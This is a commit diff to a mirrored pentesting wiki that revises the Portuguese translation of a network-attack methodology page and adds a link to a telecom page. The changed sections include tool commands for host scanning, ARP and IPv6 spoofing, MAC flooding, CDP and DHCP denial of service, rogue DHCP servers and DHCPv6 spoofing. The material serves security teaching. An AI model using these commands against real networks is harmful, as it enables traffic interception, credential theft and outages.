mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
0725c4cd44
commit
f272b23488
@ -21,6 +21,7 @@
|
||||
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
|
||||
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
|
||||
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
|
||||
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
|
||||
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
|
||||
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
|
||||
|
@ -12,8 +12,8 @@ Nesta situação, você tem algum **escopo de IPs** (talvez até vários **inter
|
||||
### ICMP
|
||||
|
||||
Esta é a maneira **mais fácil** e **rápida** de descobrir se um host está ativo ou não.\
|
||||
Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais simples é apenas enviar um **echo request** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
|
||||
Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para solicitações-respostas ICMP echo comuns).
|
||||
Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais fácil é simplesmente enviar um **pedido de eco** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
|
||||
Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para o comum pedido-resposta de eco ICMP).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -29,21 +29,21 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5
|
||||
```
|
||||
Você também pode realizar esta etapa com `nmap`, mas é mais lento e de certa forma `nmap` tem problemas para identificar hosts ativos.
|
||||
|
||||
### Descoberta de Portas HTTP
|
||||
### Descoberta de Porta HTTP
|
||||
|
||||
Esta é apenas uma descoberta de portas TCP útil quando você deseja **focar na descoberta de serviços HTTP**:
|
||||
Esta é apenas uma descoberta de porta TCP útil quando você deseja **focar na descoberta de serviços HTTP**:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### Descoberta de Porta UDP
|
||||
|
||||
Você também pode tentar verificar se há alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
|
||||
Você também pode tentar verificar se alguma **porta UDP está aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
A linha do nmap proposta anteriormente testará as **1000 principais portas UDP** em cada host dentro do intervalo **/24**, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Isso enviará esses **probes UDP** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
A linha do nmap proposta anteriormente testará as **top 1000 portas UDP** em cada host dentro do intervalo **/24**, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Isso enviará esses **UDP probes** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### Descoberta de Portas SCTP
|
||||
```bash
|
||||
@ -64,7 +64,7 @@ Se você estiver dentro da rede, uma das primeiras coisas que você vai querer f
|
||||
|
||||
### Passivo
|
||||
|
||||
Você pode usar essas ferramentas para descobrir passivamente hosts dentro de uma rede conectada:
|
||||
Você pode usar essas ferramentas para descobrir hosts de forma passiva dentro de uma rede conectada:
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
@ -75,7 +75,7 @@ set net.show.meta true #more info
|
||||
```
|
||||
### Ativo
|
||||
|
||||
Note que as técnicas comentadas em [_**Descobrindo hosts do lado de fora**_](#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
|
||||
Note que as técnicas comentadas em [_**Descobrindo hosts de fora**_](#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
|
||||
Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:
|
||||
```bash
|
||||
#ARP discovery
|
||||
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou se a estrutura de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
|
||||
Com o Sniffing, você pode aprender detalhes de faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a malha de comutação sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
|
||||
|
||||
Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC.
|
||||
|
||||
@ -244,21 +244,21 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
arpspoof -t 192.168.1.1 192.168.1.2
|
||||
arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM overflow
|
||||
### MAC Flooding - Transbordo de CAM
|
||||
|
||||
Transbordar a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM está cheia, o switch começa a se comportar como um hub (broadcasting todo o tráfego).
|
||||
Transborde a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM está cheia, o switch começa a se comportar como um hub (transmitindo todo o tráfego).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
Em switches modernos, essa vulnerabilidade foi corrigida.
|
||||
|
||||
### Ataques 802.1Q VLAN / DTP
|
||||
### 802.1Q VLAN / Ataques DTP
|
||||
|
||||
#### Trunking Dinâmico
|
||||
|
||||
O **Dynamic Trunking Protocol (DTP)** é projetado como um protocolo de camada de enlace para facilitar um sistema automático de trunking, permitindo que os switches selecionem automaticamente portas para o modo trunk (Trunk) ou modo não-trunk. A implementação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, ressaltando a importância de configurar trunks manualmente apenas onde necessário e garantir a documentação adequada.
|
||||
|
||||
Por padrão, as portas dos switches são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN ao configurar interfaces virtuais.
|
||||
Por padrão, as portas dos switches são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLANs configurando interfaces virtuais.
|
||||
|
||||
A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Padrão, Trunk, Dinâmico, Automático ou Acesso—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch.
|
||||
|
||||
@ -279,7 +279,7 @@ Para enumerar as VLANs, também é possível gerar o quadro DTP Desirable com o
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
Gostaria de ressaltar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa a porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
|
||||
Eu gostaria de apontar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa a porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
|
||||
|
||||
Ao analisar os quadros STP, **aprendemos sobre a existência da VLAN 30 e da VLAN 60.**
|
||||
|
||||
@ -342,7 +342,7 @@ sendp(packet)
|
||||
```
|
||||
#### Bypass de Segmentação Lateral de VLAN <a href="#d679" id="d679"></a>
|
||||
|
||||
Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **burlar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs de destino e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
|
||||
Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **bypassar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs alvo e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Bypass de VLAN Privada de Camada 3
|
||||
|
||||
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para impedir que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
|
||||
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para evitar que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
|
||||
|
||||
O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à usada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
|
||||
O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à utilizada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
|
||||
|
||||
**Passos Chave do Ataque:**
|
||||
|
||||
1. **Elaboração de um Pacote:** Um pacote é especialmente elaborado para incluir o endereço IP do cliente alvo, mas com o endereço MAC do roteador.
|
||||
2. **Exploração do Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
|
||||
2. **Explorando o Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
|
||||
|
||||
### Ataques VTP
|
||||
|
||||
@ -366,14 +366,14 @@ O VTP (VLAN Trunking Protocol) centraliza a gestão de VLANs. Ele utiliza númer
|
||||
#### Funções do Domínio VTP
|
||||
|
||||
- **Servidor VTP:** Gerencia VLANs—cria, exclui, modifica. Ele transmite anúncios VTP para os membros do domínio.
|
||||
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Esse papel é restrito de modificações de configuração de VLAN local.
|
||||
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Esse papel é restrito de modificações de configurações de VLAN locais.
|
||||
- **Transparente VTP:** Não participa de atualizações VTP, mas encaminha anúncios VTP. Não é afetado por ataques VTP, mantendo um número de revisão constante de zero.
|
||||
|
||||
#### Tipos de Anúncios VTP
|
||||
|
||||
- **Anúncio Resumido:** Transmitido pelo servidor VTP a cada 300 segundos, carregando informações essenciais do domínio.
|
||||
- **Anúncio de Subconjunto:** Enviado após alterações na configuração da VLAN.
|
||||
- **Solicitação de Anúncio:** Emitida por um cliente VTP para solicitar um Anúncio Resumido, tipicamente em resposta à detecção de um número de revisão de configuração mais alto.
|
||||
- **Anúncio Resumo:** Transmitido pelo servidor VTP a cada 300 segundos, carregando informações essenciais do domínio.
|
||||
- **Anúncio de Subconjunto:** Enviado após alterações na configuração de VLAN.
|
||||
- **Solicitação de Anúncio:** Emitida por um cliente VTP para solicitar um Anúncio Resumo, tipicamente em resposta à detecção de um número de revisão de configuração mais alto.
|
||||
|
||||
As vulnerabilidades do VTP são exploráveis exclusivamente através de portas trunk, uma vez que os anúncios VTP circulam apenas por elas. Cenários pós-ataque DTP podem se voltar para o VTP. Ferramentas como Yersinia podem facilitar ataques VTP, visando eliminar o banco de dados de VLAN, efetivamente interrompendo a rede.
|
||||
|
||||
@ -385,7 +385,7 @@ No modo gráfico do Yersinia, escolha a opção de deletar todas as VLANs VTP pa
|
||||
|
||||
### Ataques STP
|
||||
|
||||
**Se você não conseguir capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.**
|
||||
**Se você não consegue capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.**
|
||||
|
||||
#### **DoS BPDU STP**
|
||||
|
||||
@ -423,7 +423,7 @@ O Protocolo de Descoberta CISCO (CDP) é essencial para a comunicação entre di
|
||||
|
||||
O CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffers de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada.
|
||||
|
||||
#### Induzindo a Inundação da Tabela CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
#### Induzindo Inundação da Tabela CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Uma abordagem mais agressiva envolve lançar um ataque de Negação de Serviço (DoS) sobrecarregando a memória do switch, fingindo ser dispositivos CISCO legítimos. Abaixo está a sequência de comandos para iniciar tal ataque usando Yersinia, uma ferramenta de rede projetada para testes:
|
||||
```bash
|
||||
@ -431,7 +431,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
Durante este ataque, a CPU do switch e a tabela de vizinhos CDP estão fortemente sobrecarregadas, levando ao que é frequentemente referido como **“paralisia da rede”** devido ao consumo excessivo de recursos.
|
||||
Durante este ataque, a CPU do switch e a tabela de vizinhos CDP estão fortemente sobrecarregadas, levando ao que muitas vezes é referido como **“paralisia da rede”** devido ao consumo excessivo de recursos.
|
||||
|
||||
#### Ataque de Impersonação CDP
|
||||
```bash
|
||||
@ -490,7 +490,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
**DoS**
|
||||
|
||||
**Dois tipos de DoS** podem ser realizados contra servidores DHCP. O primeiro consiste em **simular hosts falsos suficientes para usar todos os endereços IP possíveis**.\
|
||||
Esse ataque funcionará apenas se você puder ver as respostas do servidor DHCP e completar o protocolo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Por exemplo, isso **não é possível em redes Wifi**.
|
||||
Esse ataque funcionará apenas se você puder ver as respostas do servidor DHCP e completar o protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por exemplo, isso **não é possível em redes Wifi**.
|
||||
|
||||
Outra maneira de realizar um DoS DHCP é enviar um **pacote DHCP-RELEASE usando como código de origem todos os IPs possíveis**. Assim, o servidor pensará que todos terminaram de usar o IP.
|
||||
```bash
|
||||
@ -503,7 +503,7 @@ Você poderia usar os ataques DoS mencionados para forçar os clientes a obter n
|
||||
|
||||
#### Definir valores maliciosos
|
||||
|
||||
Um servidor DHCP malicioso pode ser configurado usando o script DHCP localizado em `/usr/share/responder/DHCP.py`. Isso é útil para ataques de rede, como capturar tráfego HTTP e credenciais, redirecionando o tráfego para um servidor malicioso. No entanto, configurar um gateway malicioso é menos eficaz, pois isso apenas permite capturar o tráfego de saída do cliente, perdendo as respostas do verdadeiro gateway. Em vez disso, recomenda-se configurar um servidor DNS ou WPAD malicioso para um ataque mais eficaz.
|
||||
Um servidor DHCP malicioso pode ser configurado usando o script DHCP localizado em `/usr/share/responder/DHCP.py`. Isso é útil para ataques de rede, como capturar tráfego HTTP e credenciais, redirecionando o tráfego para um servidor malicioso. No entanto, configurar um gateway malicioso é menos eficaz, pois permite apenas capturar o tráfego de saída do cliente, perdendo as respostas do verdadeiro gateway. Em vez disso, recomenda-se configurar um servidor DNS ou WPAD malicioso para um ataque mais eficaz.
|
||||
|
||||
Abaixo estão as opções de comando para configurar o servidor DHCP malicioso:
|
||||
|
||||
@ -527,9 +527,9 @@ Usando corretamente essas opções, um servidor DHCP malicioso pode ser estabele
|
||||
|
||||
Aqui estão algumas das táticas de ataque que podem ser usadas contra implementações 802.1X:
|
||||
|
||||
- Atacando a força bruta ativa de senhas via EAP
|
||||
- Força bruta ativa de senhas via EAP
|
||||
- Atacando o servidor RADIUS com conteúdo EAP malformado _\*\*_(exploits)
|
||||
- Captura de mensagens EAP e quebra de senha offline (EAP-MD5 e PEAP)
|
||||
- Captura de mensagens EAP e quebra de senhas offline (EAP-MD5 e PEAP)
|
||||
- Forçando a autenticação EAP-MD5 para contornar a validação do certificado TLS
|
||||
- Injetando tráfego de rede malicioso ao autenticar usando um hub ou similar
|
||||
|
||||
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Três versões do Protocolo de Informação de Roteamento (RIP) são conhecidas: RIP, RIPv2 e RIPng. Datagramas são enviados para pares via porta 520 usando UDP pelo RIP e RIPv2, enquanto datagramas são transmitidos para a porta UDP 521 via multicast IPv6 pelo RIPng. O suporte para autenticação MD5 foi introduzido pelo RIPv2. Por outro lado, a autenticação nativa não é incorporada pelo RIPng; em vez disso, confia-se em cabeçalhos opcionais IPsec AH e ESP dentro do IPv6.
|
||||
Três versões do Protocolo de Informação de Roteamento (RIP) são conhecidas: RIP, RIPv2 e RIPng. Datagramas são enviados para pares via porta 520 usando UDP pelo RIP e RIPv2, enquanto datagramas são transmitidos para a porta UDP 521 via multicast IPv6 pelo RIPng. O suporte para autenticação MD5 foi introduzido pelo RIPv2. Por outro lado, a autenticação nativa não é incorporada pelo RIPng; em vez disso, confia-se em cabeçalhos IPsec AH e ESP opcionais dentro do IPv6.
|
||||
|
||||
- **RIP e RIPv2:** A comunicação é feita através de datagramas UDP na porta 520.
|
||||
- **RIPng:** Utiliza a porta UDP 521 para transmitir datagramas via multicast IPv6.
|
||||
@ -568,7 +568,7 @@ Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIG
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
|
||||
[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Ele também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
|
||||
|
||||
### OSPF
|
||||
|
||||
@ -633,7 +633,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Para resolução de host local quando as consultas DNS falham, sistemas Microsoft dependem de **Link-Local Multicast Name Resolution (LLMNR)** e do **NetBIOS Name Service (NBT-NS)**. Da mesma forma, **Apple Bonjour** e implementações de **Linux zero-configuration** utilizam **Multicast DNS (mDNS)** para descobrir sistemas dentro de uma rede. Devido à natureza não autenticada desses protocolos e sua operação sobre UDP, transmitindo mensagens, eles podem ser explorados por atacantes que visam redirecionar usuários para serviços maliciosos.
|
||||
|
||||
@ -642,21 +642,21 @@ Leia aqui mais informações sobre [como se passar por serviços com Responder](
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta desse servidor pelos clientes pode ocorrer através de vários mecanismos:
|
||||
Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta deste servidor pelos clientes pode ocorrer através de vários mecanismos:
|
||||
|
||||
- Através de **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
|
||||
- Através do **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
|
||||
- Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local.
|
||||
- Via **Microsoft LLMNR e NBT-NS**, que são mecanismos de fallback usados em casos onde as consultas DNS não têm sucesso.
|
||||
|
||||
A ferramenta Responder tira proveito desse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
A ferramenta Responder aproveita esse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como os serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP e dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre esse ataque em** [**Spoofing SSDP e Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre este ataque em** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### Spoofing de Vizinhança IPv6
|
||||
### IPv6 Neighbor Spoofing
|
||||
|
||||
Esse ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW possui o MAC do atacante.
|
||||
Este ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante.
|
||||
```bash
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
@ -669,9 +669,9 @@ sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### IPv6 DHCP spoofing
|
||||
### Spoofing DHCP IPv6
|
||||
|
||||
Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Então, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
|
||||
Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Assim, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
@ -704,7 +704,7 @@ Note que, para realizar este ataque, a vítima deve tentar acessar inicialmente
|
||||
|
||||
Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
|
||||
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o acessará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o exemplo de** _**wwww.facebook.com**_ **de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -770,11 +770,11 @@ Leve em consideração que quando um pacote UDP é enviado para um dispositivo q
|
||||
|
||||
### **Descoberta ARP**
|
||||
|
||||
Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro da rede. O PC deve enviar uma solicitação para cada possível endereço IP e apenas aqueles que estão sendo utilizados responderão.
|
||||
Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro da rede. O PC deve enviar uma solicitação para cada possível endereço IP e apenas aqueles que estão sendo usados responderão.
|
||||
|
||||
### **mDNS (DNS multicast)**
|
||||
|
||||
Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**; a máquina que vê este pacote geralmente responde a essa solicitação. Em seguida, ela apenas procura por máquinas que respondem a "services".
|
||||
Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**. A máquina que vê este pacote geralmente responde a essa solicitação. Então, ela apenas procura por máquinas que respondem a "services".
|
||||
|
||||
**Ferramentas**
|
||||
|
||||
@ -786,7 +786,7 @@ Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_service
|
||||
|
||||
